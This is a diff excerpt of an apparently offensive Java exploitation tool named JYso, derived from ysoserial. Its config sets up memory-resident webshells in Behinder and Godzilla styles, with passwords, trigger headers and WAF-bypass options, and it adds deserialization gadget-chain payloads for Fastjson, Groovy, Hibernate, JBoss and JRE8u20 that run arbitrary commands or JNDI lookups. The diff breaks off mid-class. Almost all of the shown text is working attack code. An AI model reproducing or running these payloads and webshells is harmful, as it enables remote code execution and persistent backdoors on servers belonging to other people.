||||
public static String URL_PATTERN = "/qi4l";
|
||||
// 是否使用落地文件的方式隐藏内存马
|
||||
public static Boolean HIDE_MEMORY_SHELL = false;
|
||||
// 是否生成内存马文件
|
||||
public static Boolean GEN_MEM_SHELL = false;
|
||||
// 内存马文件名
|
||||
public static String GEN_MEM_SHELL_FILENAME = "";
|
||||
// 落地文件姿势,1 charsets.jar 2 classes
|
||||
public static int HIDE_MEMORY_SHELL_TYPE = 0;
|
||||
// 内存马的密码MD5
|
||||
public static String PASSWORD = "0f359740bd1cda99";
|
||||
// Referer 校验
|
||||
public static String HEADER_KEY = "Referer";
|
||||
// 用于额外校验的 Http Header 值,默认值 https://QI4L.cn/
|
||||
public static String HEADER_VALUE = "https://QI4L.cn/";
|
||||
// 哥斯拉的 key,默认是 key
|
||||
public static String GODZILLA_KEY = "3c6e0b8a9c15224a";
|
||||
// 密码原文
|
||||
public static String PASSWORD_ORI = "p@ssw0rd";
|
||||
// 命令执行回显时,传递执行命令的 Header 头
|
||||
public static String CMD_HEADER_STRING = "X-Token-Data";
|
||||
//内存马的类型
|
||||
public static String Shell_Type = "bx";
|
||||
//是否使用windows下Agent写入
|
||||
public static Boolean winAgent = false;
|
||||
//是否使用Linux下Agent写入
|
||||
public static Boolean linAgent = false;
|
||||
// 是否在序列化数据流中的 TC_RESET 中填充脏数据
|
||||
public static Boolean IS_DIRTY_IN_TC_RESET = false;
|
||||
public static Boolean IS_UTF_Bypass = false;
|
||||
// 填充的脏数据长度
|
||||
public static int DIRTY_LENGTH_IN_TC_RESET = 0;
|
||||
|
||||
// 是否使用UTF-8 Overlong Encoding Bypass waf
|
||||
// jboss
|
||||
public static Boolean IS_JBOSS_OBJECT_INPUT_STREAM = false;
|
||||
// DefineClassFromParameter 的路径
|
||||
public static String PARAMETER = "dc";
|
||||
// 将输入直接写在文件里
|
||||
public static String FILE = "out.ser";
|
||||
public static Boolean WRITE_FILE = false;
|
||||
// 是否强制使用 org.apache.XXX.TemplatesImpl
|
||||
public static Boolean FORCE_USING_ORG_APACHE_TEMPLATESIMPL = false;
|
||||
// 在 Transformer[] 中使用 org.mozilla.javascript.DefiningClassLoader
|
||||
public static Boolean USING_MOZILLA_DEFININGCLASSLOADER = false;
|
||||
// ScriptEngineManager 是否为 RHINO 引擎
|
||||
public static boolean USING_RHINO = false;
|
||||
public static ClassPool POOL = ClassPool.getDefault();
|
||||
// 不同类型内存马的父类/接口与其关键参数的映射
|
||||
public static HashMap<String, String> KEY_METHOD_MAP = new HashMap<>();
|
||||
@Parameter(names = {"-he", " --help"}, help = true, description = "Show this help")
|
||||
private static boolean help = false;
|
||||
|
||||
static {
|
||||
// Servlet 型内存马,关键方法 service
|
||||
KEY_METHOD_MAP.put("javax.servlet.Servlet", "service");
|
||||
// Filter 型内存马,关键方法 doFilter
|
||||
KEY_METHOD_MAP.put("javax.servlet.Filter", "doFilter");
|
||||
// Listener 型内存马,通常使用 ServletRequestListener, 关键方法 requestInitializedHandle
|
||||
KEY_METHOD_MAP.put("javax.servlet.ServletRequestListener", "requestInitializedHandle");
|
||||
// Websocket 型内存马,关键方法 onMessage
|
||||
KEY_METHOD_MAP.put("javax.websocket.MessageHandler█Whole", "onMessage");
|
||||
// Tomcat Upgrade 型内存马,关键方法 accept
|
||||
KEY_METHOD_MAP.put("org.apache.coyote.UpgradeProtocol", "accept");
|
||||
// Tomcat Executor 型内存马,关键方法 execute
|
||||
KEY_METHOD_MAP.put("org.apache.tomcat.util.threads.ThreadPoolExecutor", "execute");
|
||||
// Spring Interceptor 型内存马,关键方法 preHandle
|
||||
KEY_METHOD_MAP.put("org.springframework.web.servlet.handler.HandlerInterceptorAdapter", "preHandle");
|
||||
// Webflux 内存马
|
||||
KEY_METHOD_MAP.put("org.springframework.web.server.WebFilter", "executePayload");
|
||||
}
|
||||
|
||||
public static void applyCmdArgs(String[] args) {
|
||||
System.out.println(" ██╗███╗ ██╗██████╗ ██╗\n" +
|
||||
" ██║████╗ ██║██╔══██╗██║\n" +
|
||||
" ██║██╔██╗ ██║██║ ██║██║\n" +
|
||||
"██ ██║██║╚██╗██║██║ ██║██║\n" +
|
||||
"╚█████╔╝██║ ╚████║██████╔╝██║\n" +
|
||||
" ╚════╝ ╚═╝ ╚═══╝╚═════╝ ╚═╝\n" +
|
||||
" ");
|
||||
//process cmd args
|
||||
JCommander jc = JCommander.newBuilder()
|
||||
.addObject(new Config())
|
||||
.build();
|
||||
try {
|
||||
jc.parse(args);
|
||||
} catch (Exception e) {
|
||||
System.out.println("Error: " + e.getMessage() + "\n");
|
||||
help = true;
|
||||
}
|
||||
|
||||
if (showGadgets) {
|
||||
final List<Class<? extends ObjectPayload>> payloadClasses =
|
||||
new ArrayList<Class<? extends ObjectPayload>>(ObjectPayload.Utils.getPayloadClasses());
|
||||
Collections.sort(payloadClasses, new StringUtil.ToStringComparator()); // alphabetize
|
||||
|
||||
final List<String[]> rows = new LinkedList<String[]>();
|
||||
rows.add(new String[]{"Payload", "Authors", "Dependencies"});
|
||||
rows.add(new String[]{"-------", "-------", "------------"});
|
||||
for (Class<? extends ObjectPayload> payloadClass : payloadClasses) {
|
||||
rows.add(new String[]{
|
||||
payloadClass.getSimpleName(),
|
||||
StringUtil.join(Arrays.asList(Authors.Utils.getAuthors(payloadClass)), ", ", "@", ""),
|
||||
StringUtil.join(Arrays.asList(Dependencies.Utils.getDependenciesSimple(payloadClass)), ", ", "", "")
|
||||
});
|
||||
}
|
||||
|
||||
final List<String> lines = StringUtil.formatTable(rows);
|
||||
|
||||
for (String line : lines) {
|
||||
System.out.println(" " + line);
|
||||
}
|
||||
|
||||
System.exit(0);
|
||||
}
|
||||
|
||||
if (showVersion) {
|
||||
System.out.println("" +
|
||||
" /█████ /██ /██ \n" +
|
||||
" |__ ██| ██ /██/ \n" +
|
||||
" | ██ \\ ██ /██//███████ /██████ \n" +
|
||||
" | ██ \\ ████//██_____/ /██__ ██\n" +
|
||||
" /██ | ██ \\ ██/| ██████ | ██ \\ ██\n" +
|
||||
"| ██ | ██ | ██ \\____ ██| ██ | ██\n" +
|
||||
"| ██████/ | ██ /███████/| ██████/\n" +
|
||||
" \\______/ |__/ |_______/ \\______/");
|
||||
System.exit(0);
|
||||
}
|
||||
|
||||
//获取当前 Jar 的名称
|
||||
String jarPath = Starter.class.getProtectionDomain().getCodeSource().getLocation().getPath();
|
||||
jc.setProgramName("java -jar JYso.jar");
|
||||
jc.setUsageFormatter(new UnixStyleUsageFormatter(jc));
|
||||
|
||||
if (help) {
|
||||
jc.usage(); //if -h specified, show help and exit
|
||||
System.exit(0);
|
||||
}
|
||||
|
||||
// 特别注意:最后一个反斜杠不能少啊
|
||||
Config.codeBase = "http://" + Config.ip + ":" + Config.httpPort + "/";
|
||||
}
|
||||
|
||||
public static void init() {
|
||||
// Servlet 型内存马,关键方法 service
|
||||
KEY_METHOD_MAP.put("javax.servlet.Servlet", "service");
|
||||
// Filter 型内存马,关键方法 doFilter
|
||||
KEY_METHOD_MAP.put("javax.servlet.Filter", "doFilter");
|
||||
// Listener 型内存马,通常使用 ServletRequestListener, 关键方法 requestInitializedHandle
|
||||
KEY_METHOD_MAP.put("javax.servlet.ServletRequestListener", "requestInitializedHandle");
|
||||
// Websocket 型内存马,关键方法 onMessage
|
||||
KEY_METHOD_MAP.put("javax.websocket.MessageHandler█Whole", "onMessage");
|
||||
// Tomcat Upgrade 型内存马,关键方法 accept
|
||||
KEY_METHOD_MAP.put("org.apache.coyote.UpgradeProtocol", "accept");
|
||||
// Tomcat Executor 型内存马,关键方法 execute
|
||||
KEY_METHOD_MAP.put("org.apache.tomcat.util.threads.ThreadPoolExecutor", "execute");
|
||||
// Spring Interceptor 型内存马,关键方法 preHandle
|
||||
KEY_METHOD_MAP.put("org.springframework.web.servlet.handler.HandlerInterceptorAdapter", "preHandle");
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,22 @@
|
||||
package com.qi4l.jndi.gadgets.Config;
|
||||
|
||||
import java.util.ArrayList;
|
||||
|
||||
public class HookPointConfig {
|
||||
|
||||
public static ArrayList<String> BasicServletHook = new ArrayList<String>();
|
||||
|
||||
public static ArrayList<String> TomcatFilterChainHook = new ArrayList<String>();
|
||||
|
||||
|
||||
static {
|
||||
BasicServletHook.add("javax.servlet.http.HttpServlet");
|
||||
BasicServletHook.add("service");
|
||||
BasicServletHook.add("javax.servlet.ServletRequest,javax.servlet.ServletResponse");
|
||||
|
||||
TomcatFilterChainHook.add("org.apache.catalina.core.ApplicationFilterChain");
|
||||
TomcatFilterChainHook.add("doFilter");
|
||||
TomcatFilterChainHook.add("javax.servlet.ServletRequest,javax.servlet.ServletResponse");
|
||||
}
|
||||
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,4 @@
|
||||
package com.qi4l.jndi.gadgets;
|
||||
|
||||
public interface DynamicDependencies {
|
||||
}
|
||||
@@ -0,0 +1,41 @@
|
||||
package com.qi4l.jndi.gadgets;
|
||||
|
||||
import com.alibaba.fastjson.JSONArray;
|
||||
import com.qi4l.jndi.gadgets.utils.Gadgets;
|
||||
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
|
||||
import javassist.ClassPool;
|
||||
import javassist.CtClass;
|
||||
import javassist.CtConstructor;
|
||||
|
||||
import javax.management.BadAttributeValueExpException;
|
||||
import java.lang.reflect.Field;
|
||||
import java.util.HashMap;
|
||||
|
||||
|
||||
public class Fastjson1 implements ObjectPayload<Object> {
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
ClassPool pool = ClassPool.getDefault();
|
||||
CtClass clazz = pool.makeClass("a");
|
||||
CtClass superClass = pool.get(AbstractTranslet.class.getName());
|
||||
clazz.setSuperclass(superClass);
|
||||
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
|
||||
constructor.setBody("Runtime.getRuntime().exec(\"open -na Calculator\");");
|
||||
clazz.addConstructor(constructor);
|
||||
final Object templates;
|
||||
templates = Gadgets.createTemplatesImpl(command);
|
||||
|
||||
JSONArray jsonArray = new JSONArray();
|
||||
jsonArray.add(templates);
|
||||
|
||||
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
|
||||
Field valfield = val.getClass().getDeclaredField("val");
|
||||
valfield.setAccessible(true);
|
||||
valfield.set(val, jsonArray);
|
||||
|
||||
HashMap hashMap = new HashMap();
|
||||
hashMap.put(templates, val);
|
||||
|
||||
return hashMap;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,41 @@
|
||||
package com.qi4l.jndi.gadgets;
|
||||
|
||||
import com.alibaba.fastjson2.JSONArray;
|
||||
import com.qi4l.jndi.gadgets.utils.Gadgets;
|
||||
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
|
||||
import javassist.ClassPool;
|
||||
import javassist.CtClass;
|
||||
import javassist.CtConstructor;
|
||||
|
||||
import javax.management.BadAttributeValueExpException;
|
||||
import java.lang.reflect.Field;
|
||||
import java.util.HashMap;
|
||||
|
||||
|
||||
public class Fastjson2 implements ObjectPayload<Object> {
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
ClassPool pool = ClassPool.getDefault();
|
||||
CtClass clazz = pool.makeClass("a");
|
||||
CtClass superClass = pool.get(AbstractTranslet.class.getName());
|
||||
clazz.setSuperclass(superClass);
|
||||
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
|
||||
constructor.setBody("Runtime.getRuntime().exec(\"open -na Calculator\");");
|
||||
clazz.addConstructor(constructor);
|
||||
final Object templates;
|
||||
templates = Gadgets.createTemplatesImpl(command);
|
||||
|
||||
|
||||
JSONArray jsonArray = new JSONArray();
|
||||
jsonArray.add(templates);
|
||||
|
||||
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
|
||||
Field valfield = val.getClass().getDeclaredField("val");
|
||||
valfield.setAccessible(true);
|
||||
valfield.set(val, jsonArray);
|
||||
|
||||
HashMap hashMap = new HashMap();
|
||||
hashMap.put(templates, val);
|
||||
return hashMap;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,36 @@
|
||||
package com.qi4l.jndi.gadgets;
|
||||
|
||||
import com.qi4l.jndi.gadgets.annotation.Authors;
|
||||
import com.qi4l.jndi.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.jndi.gadgets.utils.Gadgets;
|
||||
import org.codehaus.groovy.runtime.ConvertedClosure;
|
||||
import org.codehaus.groovy.runtime.MethodClosure;
|
||||
|
||||
import java.lang.reflect.InvocationHandler;
|
||||
import java.util.Map;
|
||||
|
||||
/**
|
||||
* Gadget chain:
|
||||
* ObjectInputStream.readObject()
|
||||
* PriorityQueue.readObject()
|
||||
* Comparator.compare() (Proxy)
|
||||
* ConvertedClosure.invoke()
|
||||
* MethodClosure.call()
|
||||
* ...
|
||||
* Method.invoke()
|
||||
* Runtime.exec()
|
||||
* <p>
|
||||
* Requires:
|
||||
* groovy
|
||||
*/
|
||||
@Dependencies({"org.codehaus.groovy:groovy:2.3.9"})
|
||||
@Authors({Authors.FROHOFF})
|
||||
public class Groovy1 implements ObjectPayload<InvocationHandler> {
|
||||
|
||||
public InvocationHandler getObject(String command) throws Exception {
|
||||
final ConvertedClosure closure = new ConvertedClosure(new MethodClosure(command, "execute"), "entrySet");
|
||||
final Map map = Gadgets.createProxy(closure, Map.class);
|
||||
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(map);
|
||||
return handler;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,171 @@
|
||||
package com.qi4l.jndi.gadgets;
|
||||
|
||||
import com.qi4l.jndi.gadgets.annotation.Authors;
|
||||
import com.qi4l.jndi.gadgets.utils.Gadgets;
|
||||
import com.qi4l.jndi.gadgets.utils.JavaVersion;
|
||||
import com.qi4l.jndi.gadgets.utils.Reflections;
|
||||
import org.hibernate.EntityMode;
|
||||
import org.hibernate.engine.spi.TypedValue;
|
||||
import org.hibernate.tuple.component.AbstractComponentTuplizer;
|
||||
import org.hibernate.tuple.component.PojoComponentTuplizer;
|
||||
import org.hibernate.type.AbstractType;
|
||||
import org.hibernate.type.ComponentType;
|
||||
import org.hibernate.type.Type;
|
||||
|
||||
import java.lang.reflect.Array;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
|
||||
/**
|
||||
* org.hibernate.property.access.spi.GetterMethodImpl.get()
|
||||
* org.hibernate.tuple.component.AbstractComponentTuplizer.getPropertyValue()
|
||||
* org.hibernate.type.ComponentType.getPropertyValue(C)
|
||||
* org.hibernate.type.ComponentType.getHashCode()
|
||||
* org.hibernate.engine.spi.TypedValue$1.initialize()
|
||||
* org.hibernate.engine.spi.TypedValue$1.initialize()
|
||||
* org.hibernate.internal.util.ValueHolder.getValue()
|
||||
* org.hibernate.engine.spi.TypedValue.hashCode()
|
||||
* <p>
|
||||
* Requires:
|
||||
* - Hibernate (>= 5 gives arbitrary method invocation, <5 getXYZ only)
|
||||
*
|
||||
* @author mbechler
|
||||
*/
|
||||
@Authors({Authors.MBECHLER})
|
||||
public class Hibernate1 implements ObjectPayload<Object>, DynamicDependencies {
|
||||
|
||||
public static boolean isApplicableJavaVersion() {
|
||||
return JavaVersion.isAtLeast(7);
|
||||
}
|
||||
|
||||
public static String[] getDependencies() {
|
||||
if (System.getProperty("hibernate5") != null) {
|
||||
return new String[]{
|
||||
"org.hibernate:hibernate-core:5.0.7.Final", "aopalliance:aopalliance:1.0", "org.jboss.logging:jboss-logging:3.3.0.Final",
|
||||
"javax.transaction:javax.transaction-api:1.2"
|
||||
};
|
||||
}
|
||||
|
||||
return new String[]{
|
||||
"org.hibernate:hibernate-core:4.3.11.Final", "aopalliance:aopalliance:1.0", "org.jboss.logging:jboss-logging:3.3.0.Final",
|
||||
"javax.transaction:javax.transaction-api:1.2", "dom4j:dom4j:1.6.1"
|
||||
};
|
||||
|
||||
}
|
||||
|
||||
|
||||
public static Object makeGetter(Class<?> tplClass, String method) throws NoSuchMethodException, SecurityException, InstantiationException,
|
||||
IllegalAccessException, IllegalArgumentException, InvocationTargetException, ClassNotFoundException {
|
||||
if (System.getProperty("hibernate5") != null) {
|
||||
return makeHibernate5Getter(tplClass, method);
|
||||
}
|
||||
return makeHibernate4Getter(tplClass, method);
|
||||
}
|
||||
|
||||
|
||||
public static Object makeHibernate4Getter(Class<?> tplClass, String method) throws ClassNotFoundException, NoSuchMethodException,
|
||||
SecurityException, InstantiationException, IllegalAccessException, IllegalArgumentException, InvocationTargetException {
|
||||
Class<?> getterIf = Class.forName("org.hibernate.property.Getter");
|
||||
Class<?> basicGetter = Class.forName("org.hibernate.property.BasicPropertyAccessor$BasicGetter");
|
||||
Constructor<?> bgCon = basicGetter.getDeclaredConstructor(Class.class, Method.class, String.class);
|
||||
Reflections.setAccessible(bgCon);
|
||||
|
||||
if (!method.startsWith("get")) {
|
||||
throw new IllegalArgumentException("Hibernate4 can only call getters");
|
||||
}
|
||||
|
||||
String propName = Character.toLowerCase(method.charAt(3)) + method.substring(4);
|
||||
|
||||
Object g = bgCon.newInstance(tplClass, tplClass.getDeclaredMethod(method), propName);
|
||||
Object arr = Array.newInstance(getterIf, 1);
|
||||
Array.set(arr, 0, g);
|
||||
return arr;
|
||||
}
|
||||
|
||||
|
||||
public static Object makeHibernate5Getter(Class<?> tplClass, String method) throws NoSuchMethodException, SecurityException,
|
||||
ClassNotFoundException, InstantiationException, IllegalAccessException, IllegalArgumentException, InvocationTargetException {
|
||||
Class<?> getterIf = Class.forName("org.hibernate.property.access.spi.Getter");
|
||||
Class<?> basicGetter = Class.forName("org.hibernate.property.access.spi.GetterMethodImpl");
|
||||
Constructor<?> bgCon = basicGetter.getConstructor(Class.class, String.class, Method.class);
|
||||
Object g = bgCon.newInstance(tplClass, "test", tplClass.getDeclaredMethod(method));
|
||||
Object arr = Array.newInstance(getterIf, 1);
|
||||
Array.set(arr, 0, g);
|
||||
return arr;
|
||||
}
|
||||
|
||||
static Object makeCaller(Object tpl, Object getters) throws NoSuchMethodException, InstantiationException, IllegalAccessException,
|
||||
InvocationTargetException, NoSuchFieldException, Exception, ClassNotFoundException {
|
||||
if (System.getProperty("hibernate3") != null) {
|
||||
return makeHibernate3Caller(tpl, getters);
|
||||
}
|
||||
return makeHibernate45Caller(tpl, getters);
|
||||
}
|
||||
|
||||
static Object makeHibernate45Caller(Object tpl, Object getters) throws NoSuchMethodException, InstantiationException, IllegalAccessException,
|
||||
InvocationTargetException, NoSuchFieldException, Exception, ClassNotFoundException {
|
||||
PojoComponentTuplizer tup = Reflections.createWithoutConstructor(PojoComponentTuplizer.class);
|
||||
Reflections.getField(AbstractComponentTuplizer.class, "getters").set(tup, getters);
|
||||
|
||||
ComponentType t = Reflections.createWithConstructor(ComponentType.class, AbstractType.class, new Class[0], new Object[0]);
|
||||
Reflections.setFieldValue(t, "componentTuplizer", tup);
|
||||
Reflections.setFieldValue(t, "propertySpan", 1);
|
||||
Reflections.setFieldValue(t, "propertyTypes", new Type[]{
|
||||
t
|
||||
});
|
||||
|
||||
TypedValue v1 = new TypedValue(t, null);
|
||||
Reflections.setFieldValue(v1, "value", tpl);
|
||||
Reflections.setFieldValue(v1, "type", t);
|
||||
|
||||
TypedValue v2 = new TypedValue(t, null);
|
||||
Reflections.setFieldValue(v2, "value", tpl);
|
||||
Reflections.setFieldValue(v2, "type", t);
|
||||
|
||||
return Gadgets.makeMap(v1, v2);
|
||||
}
|
||||
|
||||
static Object makeHibernate3Caller(Object tpl, Object getters) throws NoSuchMethodException, InstantiationException, IllegalAccessException,
|
||||
InvocationTargetException, NoSuchFieldException, Exception, ClassNotFoundException {
|
||||
// Load at runtime to avoid dependency conflicts
|
||||
Class entityEntityModeToTuplizerMappingClass = Class.forName("org.hibernate.tuple.entity.EntityEntityModeToTuplizerMapping");
|
||||
Class entityModeToTuplizerMappingClass = Class.forName("org.hibernate.tuple.EntityModeToTuplizerMapping");
|
||||
Class typedValueClass = Class.forName("org.hibernate.engine.TypedValue");
|
||||
|
||||
PojoComponentTuplizer tup = Reflections.createWithoutConstructor(PojoComponentTuplizer.class);
|
||||
Reflections.getField(AbstractComponentTuplizer.class, "getters").set(tup, getters);
|
||||
Reflections.getField(AbstractComponentTuplizer.class, "propertySpan").set(tup, 1);
|
||||
|
||||
ComponentType t = Reflections.createWithConstructor(ComponentType.class, AbstractType.class, new Class[0], new Object[0]);
|
||||
HashMap hm = new HashMap();
|
||||
hm.put(EntityMode.POJO, tup);
|
||||
Object emtm = Reflections.createWithConstructor(entityEntityModeToTuplizerMappingClass, entityModeToTuplizerMappingClass, new Class[]{Map.class}, new Object[]{hm});
|
||||
Reflections.setFieldValue(t, "tuplizerMapping", emtm);
|
||||
Reflections.setFieldValue(t, "propertySpan", 1);
|
||||
Reflections.setFieldValue(t, "propertyTypes", new Type[]{
|
||||
t
|
||||
});
|
||||
|
||||
Constructor<?> typedValueConstructor = typedValueClass.getDeclaredConstructor(Type.class, Object.class, EntityMode.class);
|
||||
Object v1 = typedValueConstructor.newInstance(t, null, EntityMode.POJO);
|
||||
Reflections.setFieldValue(v1, "value", tpl);
|
||||
Reflections.setFieldValue(v1, "type", t);
|
||||
|
||||
Object v2 = typedValueConstructor.newInstance(t, null, EntityMode.POJO);
|
||||
Reflections.setFieldValue(v2, "value", tpl);
|
||||
Reflections.setFieldValue(v2, "type", t);
|
||||
|
||||
return Gadgets.makeMap(v1, v2);
|
||||
}
|
||||
|
||||
public Object getObject(String command) throws Exception {
|
||||
final Object tpl;
|
||||
tpl = Gadgets.createTemplatesImpl(command);
|
||||
Object getters = makeGetter(tpl.getClass(), "getOutputProperties");
|
||||
return makeCaller(tpl, getters);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,53 @@
|
||||
package com.qi4l.jndi.gadgets;
|
||||
|
||||
import com.qi4l.jndi.gadgets.annotation.Authors;
|
||||
import com.qi4l.jndi.gadgets.utils.JavaVersion;
|
||||
import com.sun.rowset.JdbcRowSetImpl;
|
||||
|
||||
/**
|
||||
* Another application filter bypass
|
||||
* <p>
|
||||
* Needs a getter invocation that is provided by hibernate here
|
||||
* <p>
|
||||
* javax.naming.InitialContext.InitialContext.lookup()
|
||||
* com.sun.rowset.JdbcRowSetImpl.connect()
|
||||
* com.sun.rowset.JdbcRowSetImpl.getDatabaseMetaData()
|
||||
* org.hibernate.property.access.spi.GetterMethodImpl.get()
|
||||
* org.hibernate.tuple.component.AbstractComponentTuplizer.getPropertyValue()
|
||||
* org.hibernate.type.ComponentType.getPropertyValue(C)
|
||||
* org.hibernate.type.ComponentType.getHashCode()
|
||||
* org.hibernate.engine.spi.TypedValue$1.initialize()
|
||||
* org.hibernate.engine.spi.TypedValue$1.initialize()
|
||||
* org.hibernate.internal.util.ValueHolder.getValue()
|
||||
* org.hibernate.engine.spi.TypedValue.hashCode()
|
||||
* <p>
|
||||
* <p>
|
||||
* Requires:
|
||||
* - Hibernate (>= 5 gives arbitrary method invocation, <5 getXYZ only)
|
||||
* <p>
|
||||
* Arg:
|
||||
* - JNDI name (i.e. rmi:<host>)
|
||||
* <p>
|
||||
* Yields:
|
||||
* - JNDI lookup invocation (e.g. connect to remote RMI)
|
||||
*
|
||||
* @author mbechler
|
||||
*/
|
||||
@Authors({Authors.MBECHLER})
|
||||
public class Hibernate2 implements ObjectPayload<Object>, DynamicDependencies {
|
||||
|
||||
public static boolean isApplicableJavaVersion() {
|
||||
return JavaVersion.isAtLeast(7);
|
||||
}
|
||||
|
||||
public static String[] getDependencies() {
|
||||
return Hibernate1.getDependencies();
|
||||
}
|
||||
|
||||
public Object getObject(String command) throws Exception {
|
||||
|
||||
JdbcRowSetImpl rs = new JdbcRowSetImpl();
|
||||
rs.setDataSourceName(command);
|
||||
return Hibernate1.makeCaller(rs, Hibernate1.makeGetter(rs.getClass(), "getDatabaseMetaData"));
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,74 @@
|
||||
package com.qi4l.jndi.gadgets;
|
||||
|
||||
import com.qi4l.jndi.gadgets.annotation.Authors;
|
||||
import com.qi4l.jndi.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.jndi.gadgets.utils.Gadgets;
|
||||
import com.qi4l.jndi.gadgets.utils.Reflections;
|
||||
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
|
||||
import org.jboss.interceptor.builder.InterceptionModelBuilder;
|
||||
import org.jboss.interceptor.builder.MethodReference;
|
||||
import org.jboss.interceptor.proxy.DefaultInvocationContextFactory;
|
||||
import org.jboss.interceptor.proxy.InterceptorMethodHandler;
|
||||
import org.jboss.interceptor.reader.ClassMetadataInterceptorReference;
|
||||
import org.jboss.interceptor.reader.DefaultMethodMetadata;
|
||||
import org.jboss.interceptor.reader.ReflectiveClassMetadata;
|
||||
import org.jboss.interceptor.reader.SimpleInterceptorMetadata;
|
||||
import org.jboss.interceptor.spi.instance.InterceptorInstantiator;
|
||||
import org.jboss.interceptor.spi.metadata.InterceptorReference;
|
||||
import org.jboss.interceptor.spi.metadata.MethodMetadata;
|
||||
import org.jboss.interceptor.spi.model.InterceptionModel;
|
||||
import org.jboss.interceptor.spi.model.InterceptionType;
|
||||
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.util.*;
|
||||
|
||||
|
||||
@Dependencies({"javassist:javassist:3.12.1.GA", "org.jboss.interceptor:jboss-interceptor-core:2.0.0.Final",
|
||||
"javax.enterprise:cdi-api:1.0-SP1", "javax.interceptor:javax.interceptor-api:3.1",
|
||||
"org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final", "org.slf4j:slf4j-api:1.7.21"})
|
||||
@Authors({Authors.MATTHIASKAISER})
|
||||
public class JBossInterceptors1 implements ObjectPayload<Object> {
|
||||
|
||||
public Object getObject(String command) throws Exception {
|
||||
final Object tpl;
|
||||
tpl = Gadgets.createTemplatesImpl(command);
|
||||
|
||||
InterceptionModelBuilder builder = InterceptionModelBuilder.newBuilderFor(HashMap.class);
|
||||
ReflectiveClassMetadata metadata = (ReflectiveClassMetadata) ReflectiveClassMetadata.of(HashMap.class);
|
||||
InterceptorReference interceptorReference = ClassMetadataInterceptorReference.of(metadata);
|
||||
|
||||
Set<InterceptionType> s = new HashSet<InterceptionType>();
|
||||
s.add(org.jboss.interceptor.spi.model.InterceptionType.POST_ACTIVATE);
|
||||
|
||||
Constructor defaultMethodMetadataConstructor = DefaultMethodMetadata.class.getDeclaredConstructor(Set.class, MethodReference.class);
|
||||
Reflections.setAccessible(defaultMethodMetadataConstructor);
|
||||
MethodMetadata methodMetadata = (MethodMetadata) defaultMethodMetadataConstructor.newInstance(s,
|
||||
MethodReference.of(TemplatesImpl.class.getMethod("newTransformer"), true));
|
||||
|
||||
List list = new ArrayList();
|
||||
list.add(methodMetadata);
|
||||
Map<org.jboss.interceptor.spi.model.InterceptionType, List<MethodMetadata>> hashMap = new HashMap<org.jboss.interceptor.spi.model.InterceptionType, List<MethodMetadata>>();
|
||||
|
||||
hashMap.put(org.jboss.interceptor.spi.model.InterceptionType.POST_ACTIVATE, list);
|
||||
SimpleInterceptorMetadata simpleInterceptorMetadata = new SimpleInterceptorMetadata(interceptorReference, true, hashMap);
|
||||
|
||||
builder.interceptAll().with(simpleInterceptorMetadata);
|
||||
|
||||
InterceptionModel model = builder.build();
|
||||
|
||||
HashMap map = new HashMap();
|
||||
map.put("ysoserial", "ysoserial");
|
||||
|
||||
DefaultInvocationContextFactory factory = new DefaultInvocationContextFactory();
|
||||
|
||||
InterceptorInstantiator interceptorInstantiator = new InterceptorInstantiator() {
|
||||
|
||||
public Object createFor(InterceptorReference paramInterceptorReference) {
|
||||
|
||||
return tpl;
|
||||
}
|
||||
};
|
||||
|
||||
return new InterceptorMethodHandler(map, metadata, model, interceptorInstantiator, factory);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,107 @@
|
||||
package com.qi4l.jndi.gadgets;
|
||||
|
||||
import com.qi4l.jndi.gadgets.annotation.Authors;
|
||||
import com.qi4l.jndi.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.jndi.gadgets.utils.Gadgets;
|
||||
import com.qi4l.jndi.gadgets.utils.JavaVersion;
|
||||
import com.qi4l.jndi.gadgets.utils.Reflections;
|
||||
import com.qi4l.jndi.gadgets.utils.jre.*;
|
||||
|
||||
import javax.xml.transform.Templates;
|
||||
import java.beans.beancontext.BeanContextChild;
|
||||
import java.beans.beancontext.BeanContextSupport;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.DataOutputStream;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
import static com.qi4l.jndi.Starter.JYsoMode;
|
||||
|
||||
|
||||
@SuppressWarnings({"unused"})
|
||||
@Dependencies
|
||||
@Authors({"frohoff"})
|
||||
public class JRE8u20 implements ObjectPayload<Object> {
|
||||
|
||||
public static Object makeTemplates(String command) throws Exception {
|
||||
final Object templates;
|
||||
templates = Gadgets.createTemplatesImpl(command);
|
||||
Reflections.setFieldValue(templates, "_auxClasses", null);
|
||||
return templates;
|
||||
}
|
||||
|
||||
public static TCObject makeHandler(HashMap map, Serialization ser) throws Exception {
|
||||
TCObject handler = new TCObject(ser) {
|
||||
public void doWrite(DataOutputStream out, HandleContainer handles) throws Exception {
|
||||
ByteArrayOutputStream byteout = new ByteArrayOutputStream();
|
||||
super.doWrite(new DataOutputStream(byteout), handles);
|
||||
byte[] bytes = byteout.toByteArray();
|
||||
out.write(bytes, 0, bytes.length - 1);
|
||||
}
|
||||
};
|
||||
